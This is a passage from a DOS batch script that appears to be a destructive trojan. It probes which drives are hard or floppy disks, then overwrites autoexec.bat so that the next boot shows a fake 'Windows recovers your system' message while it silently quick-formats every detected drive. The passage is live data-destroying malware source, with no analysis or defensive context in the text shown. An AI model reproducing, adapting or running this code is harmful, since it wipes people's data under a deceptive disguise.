p;is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:.///ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if its errorlevel 1, then the specified drive is a hard or floppy drive.
rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.
echo :enddc >>drivechk.bat
rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".
rem Now we will use the program drivechk.bat to attain valid drive information.
:Sampledrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c
:form_del
call attrib -r -h c://autoexec.bat >nul
echo @echo off >c://autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c://autoexec.bat
echo cls >>c://autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat
echo for %%%%a in (%drive%)&nb